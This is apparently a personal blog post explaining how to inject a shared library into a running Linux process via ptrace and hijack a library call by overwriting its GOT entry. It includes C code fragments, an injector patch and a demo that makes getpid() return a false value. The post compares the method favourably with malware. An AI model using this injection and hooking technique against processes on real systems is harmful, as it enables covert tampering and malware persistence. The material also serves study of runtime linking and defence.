herm1t LIVE!ng room - Runtime GOT poisoning from injected shared object [entries|archive|friends|userinfo]

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

Runtime GOT poisoning from injected shared object [Mar. 13th, 2015|02:36 pm]
Previous Entry Add to Memories Tell A Friend Next Entry
[Tags|, , , , , , , , , , ]
[Current Mood | calm]

This short article describes how the combination of the two well-known techniques would allow to intercept library calls in runtime without PIC-code (as in [2]), patching the library functions or searches in the /proc/PID/maps.

The method described in [1] allows to inject the whole shared library into the process address space using the __libc_dlopen_mode and ptrace to form the library call within targets control flow. In order to complete our task one need to find the process GOT table and replace hijacked function GOT entry.

To avoid the /proc/PID/maps mess, I will search all neccessary tables through the link_map list (the pointer to it is stored in the GOT[1] of our shared object, which in turn could be found via _DYNAMIC array):

        struct link_map *get_link_map(void) {
                void **got = NULL;
                Elf64_Dyn *dyn;
                /* get link_map via _DYNAMIC, GOT[1] of the so */
                for (dyn = _DYNAMIC; dyn->d_tag != DT_NULL; ++dyn)
                        if (dyn->d_tag == DT_PLTGOT)
                                got = (void**)dyn->d_un.d_ptr;
                if (got == NULL || got[1] == NULL)
                        return NULL;
                return (struct link_map*)got[1];
        struct link_map *lm = get_link_map();

Next, I need to find the _DYNAMIC of the current process, and would traverse the link_map list (defined in link.h) in reverse order:

        struct link_map *base = NULL;
        for ( ; lm != NULL; lm = lm->l_prev) {
                printf("%p\t%s\n", lm->l_ld, lm->l_name);
                if (*lm->l_name == 0)
                        base = lm;
        if (base == NULL)
        printf("base _DYNAMIC %p\n", base->l_ld);

To find the function by name I need pointers to .dynsym, .dynstr, .rel(a).plt, and will extract the pointers from the process .dynamic section (base->l_ld). The code presented below assumes RELA type of relocations on 64-bit system (the support for the REL and 32-bits would require trivial changes):

        /* get dynsym / dynstr / relaplt from
           base' _DYNAMIC (base->l_ld) */
        Elf64_Dyn *dyn = NULL;
        Elf64_Sym *sym = NULL;
        Elf64_Rela *rel = NULL;
        char *str = NULL;
        int rsz = 0, i;
        for (dyn = base->l_ld; dyn->d_tag != DT_NULL; dyn++) {
                if (dyn->d_tag == DT_SYMTAB)
                        sym = (Elf64_Sym*)dyn->d_un.d_ptr;
                if (dyn->d_tag == DT_STRTAB)
                        str = (char*)dyn->d_un.d_ptr;
                if (dyn->d_tag == DT_JMPREL)
                        rel = (Elf64_Rela*)dyn->d_un.d_ptr;
                if (dyn->d_tag == DT_PLTRELSZ)
                        rsz = dyn->d_un.d_val;
        if (sym == NULL || rel == NULL || rsz < sizeof(Elf64_Rela)) {

Finally, I would find the pointer to functions GOT entry (specified by name) and patch it:

        /* find function' GOT ptr in RELA/DYNSYM and patch it */
        char *symbol = "getpid";
        for (i = 0; i < rsz / sizeof(Elf64_Rela); i++)
                if (! strcmp(sym[
                    ELF64_R_SYM(rel[i].r_info)].st_name + str, symbol)) {
                        osym = *(void**)rel[i].r_offset;
                        *(void**)rel[i].r_offset = nsym;

In the above example the hijacked function is getpid() and the replacement defined as follows:

static int (*osym)(void);
static int nsym(void)
        return osym() + 1000;

The manipulations with linkers structures done from within init() function of the library. The Injectso64 tool was patched as follows (to allow dynamic linking):

   130          regs.rdi = regs.rsp + 8;
   131          regs.rsi = RTLD_LAZY|RTLD_GLOBAL|RTLD_NODELETE;
   132          regs.rip = dlopen_addr + 2;

Please note the RTLD_LAZY flag (instead of RTLD_NOW), otherwise the GOT[1] pointer would be empty!

I will use the following test program:

        for (;;) {
                printf("I am running %d\n", getpid());

And now running the things together:

$ ./test 
I am running 31457
I am running 31457
I am running 31457
$ gcc -fPIC -shared -Wl,--init=init shared.c -o shared.so
$ ./inject `pidof test` ./shared.so 
Trying to obtain __libc_dlopen_mode()
  address relative to libc start address.
[1] Using my own __libc_dlopen_mode ...
me: {__libc_dlopen_mode:0x33e2726db0, dlopen_offset:126db0}
=> daemon: {__libc_dlopen_mode:0x33e2726db0, libc:0x33e2600000}
rdi=7fff79b284d0 rsp=7fff79b28328 rip=33e26aca20

I am running 31457
I am running 31457
I am running 31457
0x7f00eb438a40  ./shared.so
0x33e241fdf0    /lib64/ld-linux-x86-64.so.2
0x33e298db40    /lib64/libc.so.6
base _DYNAMIC 0x600768
I am running 32457
I am running 32457
  • We successfully injected the complete shared object and ld took care of our own relocations and imports
  • Unlike some modern malware (like Hand of Thief) we have redirected function call without re-patching its prologue (that is the source of crashes in the concurrent environment).
  • The task is accomplished solely in runtime and doesn't requires any /proc lookups, system calls and pattern matching

That's all. Have a nice day. :-)


  1. Joe Damato, Injectso64, https://github.com/ice799/injectso64 , May 2007
  2. Ryan O'Neill, Modern Day ELF Runtime infection via GOT poisoning, May 2009
LinkLeave a comment